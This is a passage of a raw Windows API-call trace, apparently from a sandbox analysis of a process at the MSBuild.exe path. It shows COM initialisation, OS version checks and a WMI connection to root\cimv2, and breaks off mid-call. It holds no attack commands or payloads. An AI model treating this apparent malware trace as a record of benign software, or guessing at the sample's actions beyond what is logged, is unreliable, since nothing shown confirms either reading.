"XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 7 os_tid = 0xb1c [0034.976] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 [0035.037] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\MSBuild.exe", nBufferLength=0x105, lpBuffer=0x26ebb0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\MSBuild.exe", lpFilePart=0x0) returned 0x39 [0035.037] GetLastError () returned 0x2 [0035.042] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\MSBuild.exe", nBufferLength=0x105, lpBuffer=0x26eb4c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\MSBuild.exe", lpFilePart=0x0) returned 0x39 [0035.042] GetLastError () returned 0x2 [0035.046] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", nBufferLength=0x105, lpBuffer=0x26eb14, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpFilePart=0x0) returned 0x2e [0035.046] GetLastError () returned 0x2 [0035.050] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", nBufferLength=0x105, lpBuffer=0x26ebb0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpFilePart=0x0) returned 0x2e [0035.050] GetLastError () returned 0x2 [0035.050] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", nBufferLength=0x105, lpBuffer=0x26eb4c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpFilePart=0x0) returned 0x2e [0035.050] GetLastError () returned 0x2 [0035.094] GetVersionExW (in: lpVersionInformation=0x783128*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x783128*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0035.094] GetLastError () returned 0x2 [0035.095] GetVersionExW (in: lpVersionInformation=0x783128*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x783128*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0035.095] GetLastError () returned 0x2 [0035.733] lstrlenW (lpString="䅁") returned 1 [0035.736] GetVersionExW (in: lpVersionInformation=0x787838*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x787838*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0035.736] GetLastError () returned 0x2 [0035.786] GetEnvironmentVariableW (in: lpName="appdata", lpBuffer=0x787820, nSize=0x80 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0035.786] GetLastError () returned 0x0 [0036.665] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\config\\machine.config", nBufferLength=0x105, lpBuffer=0x26e454, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\config\\machine.config", lpFilePart=0x0) returned 0x43 [0036.665] GetLastError () returned 0x2 [0036.667] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\config\\machine.config", nBufferLength=0x105, lpBuffer=0x26e49c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\config\\machine.config", lpFilePart=0x0) returned 0x43 [0036.667] GetLastError () returned 0x2 [0036.667] SetErrorMode (uMode=0x1) returned 0x0 [0036.668] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\config\\machine.config" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\config\\machine.config"), fInfoLevelId=0x0, lpFileInformation=0x26e91c | out: lpFileInformation=0x26e91c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf973529, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xdf973529, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0xc2c74ba0, ftLastWriteTime.dwHighDateTime=0x1d301bd, nFileSizeHigh=0x0, nFileSizeLow=0x60ed)) returned 1 [0036.669] GetLastError () returned 0x2 [0036.669] SetErrorMode (uMode=0x0) returned 0x1 [0036.669] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\config\\machine.config", nBufferLength=0x105, lpBuffer=0x26e478, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\config\\machine.config", lpFilePart=0x0) returned 0x43 [0036.669] GetLastError () returned 0x2 [0036.669] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\config\\machine.config", nBufferLength=0x105, lpBuffer=0x26e404, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\config\\machine.config", lpFilePart=0x0) returned 0x43 [0036.669] GetLastError () returned 0x2 [0036.766] BCryptGetFipsAlgorithmMode (in: pfEnabled=0x26e420 | out: pfEnabled=0x26e420) returned 0x0 [0036.767] GetVersionExW (in: lpVersionInformation=0x787838*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x787838*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0036.767] GetLastError () returned 0x0 [0036.781] lstrlenW (lpString="䅁") returned 1 [0036.783] CreateBindCtx (in: reserved=0x0, ppbc=0x26e964 | out: ppbc=0x26e964*=0x78e358) returned 0x0 [0036.784] IUnknown:QueryInterface (in: This=0x78e358, riid=0x74147714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x26e20c | out: ppvObject=0x26e20c*=0x78e358) returned 0x0 [0036.784] IUnknown:QueryInterface (in: This=0x78e358, riid=0x74164204*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x26e1c8 | out: ppvObject=0x26e1c8*=0x0) returned 0x80004002 [0036.785] IUnknown:QueryInterface (in: This=0x78e358, riid=0x74090b9c*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x26e0bc | out: ppvObject=0x26e0bc*=0x0) returned 0x80004002 [0036.786] IUnknown:AddRef (This=0x78e358) returned 0x3 [0036.786] CoGetContextToken (in: pToken=0x26e054 | out: pToken=0x26e054) returned 0x0 [0036.786] CoGetContextToken (in: pToken=0x26e018 | out: pToken=0x26e018) returned 0x0 [0036.786] CObjectContext::QueryInterface () returned 0x0 [0036.787] CObjectContext::GetCurrentApartmentType () returned 0x0 [0036.787] Release () returned 0x0 [0036.787] CoGetObjectContext (in: riid=0x74147714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x782ed4 | out: ppv=0x782ed4*=0x779458) returned 0x0 [0036.809] IUnknown:QueryInterface (in: This=0x78e358, riid=0x740423cc*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x26e03c | out: ppvObject=0x26e03c*=0x0) returned 0x80004002 [0036.809] CoGetContextToken (in: pToken=0x26e04c | out: pToken=0x26e04c) returned 0x0 [0036.809] IUnknown:AddRef (This=0x78e358) returned 0x4 [0036.809] IUnknown:QueryInterface (in: This=0x78e358, riid=0x7409767c*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x26e0c0 | out: ppvObject=0x26e0c0*=0x0) returned 0x80004002 [0036.809] IUnknown:Release (This=0x78e358) returned 0x3 [0036.809] IUnknown:Release (This=0x78e358) returned 0x2 [0036.809] CoGetContextToken (in: pToken=0x26e4c0 | out: pToken=0x26e4c0) returned 0x0 [0036.809] CoGetContextToken (in: pToken=0x26e480 | out: pToken=0x26e480) returned 0x0 [0036.809] IUnknown:AddRef (This=0x78e358) returned 0x3 [0036.810] IUnknown:QueryInterface (in: This=0x78e358, riid=0x26e4fc*(Data1=0xe, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x26e4f8 | out: ppvObject=0x26e4f8*=0x78e358) returned 0x0 [0036.810] IUnknown:Release (This=0x78e358) returned 0x3 [0036.810] IUnknown:Release (This=0x78e358) returned 0x2 [0036.810] IUnknown:Release (This=0x78e358) returned 0x1 [0036.811] CoGetContextToken (in: pToken=0x26e524 | out: pToken=0x26e524) returned 0x0 [0036.811] CoGetContextToken (in: pToken=0x26e4e4 | out: pToken=0x26e4e4) returned 0x0 [0036.811] IUnknown:AddRef (This=0x78e358) returned 0x2 [0036.812] IUnknown:QueryInterface (in: This=0x78e358, riid=0x26e560*(Data1=0xe, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x26e55c | out: ppvObject=0x26e55c*=0x78e358) returned 0x0 [0036.812] IUnknown:Release (This=0x78e358) returned 0x2 [0036.812] IUnknown:AddRef (This=0x78e358) returned 0x3 [0036.812] MkParseDisplayName (in: pbc=0x78e358, szUserName="WinMgmts:", pchEaten=0x26e9f0, ppmk=0x26e934 | out: pchEaten=0x26e9f0, ppmk=0x26e934*=0x7b2bf0) returned 0x0 [0037.803] malloc (_Size=0x80) returned 0x3d31f0 [0037.803] DllGetClassObject (in: rclsid=0x7aeaec*(Data1=0x172bddf8, Data2=0xceea, Data3=0x11d1, Data4=([0]=0x8b, [1]=0x5, [2]=0x0, [3]=0x60, [4]=0x8, [5]=0x6, [6]=0xd9, [7]=0xb6)), riid=0x26e570*(Data1=0x11a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x26dc28 | out: ppv=0x26dc28*=0x0) returned 0x80004002 [0037.803] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x4f90810 [0037.804] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1 [0037.804] DllGetClassObject (in: rclsid=0x7aeaec*(Data1=0x172bddf8, Data2=0xceea, Data3=0x11d1, Data4=([0]=0x8b, [1]=0x5, [2]=0x0, [3]=0x60, [4]=0x8, [5]=0x6, [6]=0xd9, [7]=0xb6)), riid=0x7562ee84*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x26e728 | out: ppv=0x26e728*=0x4f90810) returned 0x0 [0037.804] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x4f90810 [0037.804] WinMGMTS:IClassFactory:CreateInstance (in: This=0x4f90810, pUnkOuter=0x0, riid=0x7562f084*(Data1=0x11a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x26e6d4 | out: ppvObject=0x26e6d4*=0x4f90850) returned 0x0 [0037.804] GetVersionExW (in: lpVersionInformation=0x26e520*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x7f, dwMinorVersion=0x36b7, dwBuildNumber=0x3, dwPlatformId=0x26e584, szCSDVersion="塩盃\x08쀕") | out: lpVersionInformation=0x26e520*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0037.804] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Wbem\\Scripting", ulOptions=0x0, samDesired=0x1, phkResult=0x26e514 | out: phkResult=0x26e514*=0x238) returned 0x0 [0037.804] RegQueryValueExW (in: hKey=0x238, lpValueName="Default Impersonation Level", lpReserved=0x0, lpType=0x0, lpData=0x26e51c, lpcbData=0x26e518*=0x4 | out: lpType=0x0, lpData=0x26e51c*=0x3, lpcbData=0x26e518*=0x4) returned 0x0 [0037.805] RegCloseKey (hKey=0x238) returned 0x0 [0037.805] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x4f90828 [0037.805] GetSystemDirectoryW (in: lpBuffer=0x4f90828, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0037.805] LoadLibraryExW (lpLibFileName="C:\\Windows\\system32\\advapi32.dll", hFile=0x0, dwFlags=0x0) returned 0x74d40000 [0037.806] GetProcAddress (hModule=0x74d40000, lpProcName="DuplicateTokenEx") returned 0x74d4ca24 [0037.806] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1 [0037.806] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x4f90828 [0037.806] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x4f90850 [0037.806] WinMGMTS:IUnknown:Release (This=0x4f90810) returned 0x0 [0037.806] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1 [0037.806] WinMGMTS:IParseDisplayName:ParseDisplayName (in: This=0x4f90850, pbc=0x78e358, pszDisplayName="WinMgmts:", pchEaten=0x26e8ec, ppmkOut=0x26e8f0 | out: pchEaten=0x26e8ec*=0x9, ppmkOut=0x26e8f0*=0x7b2bf0) returned 0x0 [0037.806] _wcsnicmp (_String1="WinMgmts:", _String2="WINMGMTS:", _MaxCount=0x9) returned 0 [0037.807] IBindCtx:GetObjectParam (in: This=0x78e358, pszKey="WmiObject", ppunk=0x26e7f4 | out: ppunk=0x26e7f4*=0x0) returned 0x80004005 [0037.807] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x4f90860 [0037.807] _wcsnicmp (_String1="", _String2="{", _MaxCount=0x1) returned -123 [0037.807] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x4f90880 [0037.807] CoCreateInstance (in: rclsid=0x748e42b0*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x748e42a0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x4f90898 | out: ppv=0x4f90898*=0x4f908e8) returned 0x0 [0037.901] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x4f908f8 [0037.901] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x4f90960 [0037.901] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x4f909c0 [0037.901] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0037.901] GetCurrentThreadId () returned 0xb1c [0037.901] _wcsnicmp (_String1="", _String2="[", _MaxCount=0x1) returned -91 [0037.901] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0037.902] GetCurrentThreadId () returned 0xb1c [0037.902] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Wbem\\Scripting", ulOptions=0x0, samDesired=0x1, phkResult=0x26e6dc | out: phkResult=0x26e6dc*=0x240) returned 0x0 [0037.902] RegQueryValueExW (in: hKey=0x240, lpValueName="Default Namespace", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x26e6e4*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x26e6e4*=0x16) returned 0x0 [0037.902] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x4f909e0 [0037.902] RegQueryValueExW (in: hKey=0x240, lpValueName="Default Namespace", lpReserved=0x0, lpType=0x0, lpData=0x4f909e0, lpcbData=0x26e6e4*=0x16 | out: lpType=0x0, lpData=0x4f909e0*=0x72, lpcbData=0x26e6e4*=0x16) returned 0x0 [0037.902] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x4f90a00 [0037.902] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1 [0037.902] RegCloseKey (hKey=0x240) returned 0x0 [0037.902] CoCreateInstance (in: rclsid=0x748e53b8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x748e50dc*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppv=0x26e710 | out: ppv=0x26e710*=0x4f90a20) returned 0x0 [0037.992] SysStringLen (param_1=".") returned 0x1 [0037.992] WbemDefPath:IWbemPath:SetServer (This=0x4f90a20, Name=".") returned 0x0 [0037.992] CoCreateInstance (in: rclsid=0x748e53b8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x748e50dc*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppv=0x26e6c8 | out: ppv=0x26e6c8*=0x4f90ab8) returned 0x0 [0037.992] CoCreateInstance (in: rclsid=0x748e53b8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x748e50dc*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppv=0x26e66c | out: ppv=0x26e66c*=0x4f90b50) returned 0x0 [0037.992] WbemDefPath:IWbemPath:SetText (This=0x4f90b50, uMode=0x4, pszPath="root\\cimv2") returned 0x0 [0037.992] WbemDefPath:IUnknown:Release (This=0x4f90b50) returned 0x0 [0037.993] SysStringLen (param_1="root\\cimv2") returned 0xa [0037.993] WbemDefPath:IWbemPath:SetText (This=0x4f90ab8, uMode=0xc, pszPath="root\\cimv2") returned 0x0 [0037.993] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4f90ab8, puCount=0x26e6d8 | out: puCount=0x26e6d8*=0x2) returned 0x0 [0037.993] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x4f90a20) returned 0x0 [0037.993] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x4f90ab8, uIndex=0x0, puNameBufLength=0x26e6a0*=0x0, pName=0x0 | out: puNameBufLength=0x26e6a0*=0x5, pName=0x0) returned 0x0 [0037.993] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x4f90b50 [0037.993] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x4f90ab8, uIndex=0x0, puNameBufLength=0x26e6a0*=0x5, pName="\xc80\x4f9\xc4\x4f9" | out: puNameBufLength=0x26e6a0*=0x5, pName="root") returned 0x0 [0037.993] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1 [0037.993] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x4f90a20, uIndex=0x0, pszName="root") returned 0x0 [0037.993] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x4f90ab8, uIndex=0x1, puNameBufLength=0x26e6a0*=0x0, pName=0x0 | out: puNameBufLength=0x26e6a0*=0x6, pName=0x0) returned 0x0 [0037.993] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x4f90ce8 [0037.993] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x4f90ab8, uIndex=0x1, puNameBufLength=0x26e6a0*=0x6, pName="\xc4\x4f9\xc4\x4f9\x32" | out: puNameBufLength=0x26e6a0*=0x6, pName="cimv2") returned 0x0 [0037.993] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1 [0037.993] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x4f90a20, uIndex=0x1, pszName="cimv2") returned 0x0 [0037.993] WbemDefPath:IUnknown:Release (This=0x4f90ab8) returned 0x0 [0037.993] WbemDefPath:IWbemPath:GetText (in: This=0x4f90a20, lFlags=4, puBuffLength=0x26e6f4*=0x0, pszText=0x0 | out: puBuffLength=0x26e6f4*=0xf, pszText=0x0) returned 0x0 [0037.993] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x4f90ab8 [0037.993] WbemDefPath:IWbemPath:GetText (in: This=0x4f90a20, lFlags=4, puBuffLength=0x26e6f4*=0xf, pszText="\xb70\x4f9\x9e0\x4f9\x32" | out: puBuffLength=0x26e6f4*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0037.993] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1 [0037.993] WbemDefPath:IUnknown:Release (This=0x4f90a20) returned 0x0 [0037.994] WbemLocator:IWbemLocator:ConnectServer (in: This=0x4f908e8, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale=0x0, lSecurityFlags=0, strAuthority=0x0, pCtx=0x0, ppNamespace=0x26e77c | out: ppNamespace=0x26e77c*=0x4f9d194) returned 0x0 [0041.201] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x4f9c898 [0041.201] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x4f9d1a8 [0041.201] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x4f9d208 [0041.202] WbemLocator:IUnknown:QueryInterface (in: This=0x4f9d194, riid=0x748e31fc*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x26e64c | out: ppvObject=0x26e64c*=0x7b3834) returned 0x0 [0041.202] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x7b3834, pProxy=0x4f9d194, pAuthnSvc=0x26e63c, pAuthzSvc=0x26e640, pServerPrincName=0x0, pAuthnLevel=0x26e668, pImpLevel=0x26e664, pAuthInfo=0x0, pCapabilites=0x26e654 | out: pAuthnSvc=0x26e63c*=0xa, pAuthzSvc=0x26e640*=0x0, pServerPrincName=0x0, pAuthnLevel=0x26e668*=0x6, pImpLevel=0x26e664*=0x2, pAuthInfo=0x0, pCapabilites=0x26e654*=0x1) returned 0x0 [0041.202] WbemLocator:IUnknown:Release (This=0x7b3834) returned 0x1 [0041.202] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0041.202] GetCurrentThreadId () returned 0xb1c [0041.202] WbemLocator:IUnknown:QueryInterface (in: This=0x4f9d194, riid=0x748e31fc*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x26e67c | out: ppvObject=0x26e67c*=0x7b3834) returned 0x0 [0041.202] WbemLocator:IClientSecurity:CopyProxy (in: This=0x7b3834, pProxy=0x4f9d194, ppCopy=0x26e680 | out: ppCopy=0x26e680*=0x4f9d304) returned 0x0 [0041.202] WbemLocator:IUnknown:QueryInterface (in: This=0x4f9d304, riid=0x748e31fc*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x26e598 | out: ppvObject=0x26e598*=0x7b3834) returned 0x0 [0041.202] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x7b3834, pProxy=0x4f9d304, pAuthnSvc=0x26e5bc, pAuthzSvc=0x26e5ac, pServerPrincName=0x0, pAuthnLevel=0x0, pImpLevel=0x0, pAuthInfo=0x0, pCapabilites=0x0 | out: pAuthnSvc=0x26e5bc*=0xa, pAuthzSvc=0x26e5ac*=0x0, pServerPrincName=0x0, pAuthnLevel=0x0, pImpLevel=0x0, pAuthInfo=0x0, pCapabilites=0x0) returned 0x0 [0041.202] WbemLocator:IUnknown:Release (This=0x7b3834) returned 0x3 [0041.202] WbemLocator:IUnknown:QueryInterface (in: This=0x4f9d304, riid=0x748e34f0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x26e570 | out: ppvObject=0x26e570*=0x7b3854) returned 0x0 [0041.202] WbemLocator:IUnknown:QueryInterface (in: This=0x4f9d304, riid=0x748e31fc*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x26e574 | out: ppvObject=0x26e574*=0x7b3834) returned 0x0 [0041.203] WbemLocator:IClientSecurity:SetBlanket (This=0x7b3834, pProxy=0x4f9d304, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0041.203] WbemLocator:IUnknown:Release (This=0x7b3834) returned 0x4 [0041.203] WbemLocator:IUnknown:Release (This=0x7b3854) returned 0x3 [0041.203] WbemLocator:IUnknown:Release (This=0x7b3834) returned 0x2 [0041.203] WbemLocator:IUnknown:AddRef (This=0x4f9d304) returned 0x3 [0041.203] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x4f9d318 [0041.203] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x4f9c968 [0041.203] WbemLocator:IUnknown:Release (This=0x4f9d194) returned 0x2 [0041.203] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0041.203] GetCurrentThreadId () returned 0xb1c [0041.203] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0041.203] GetCurrentThreadId () returned 0xb1c [0041.203] WbemLocator:IUnknown:QueryInterface (in: This=0x4f9d304, riid=0x748e31fc*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x26e740 | out: ppvObject=0x26e740*=0x7b3834) returned 0x0 [0041.203] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x7b3834, pProxy=0x4f9d304, 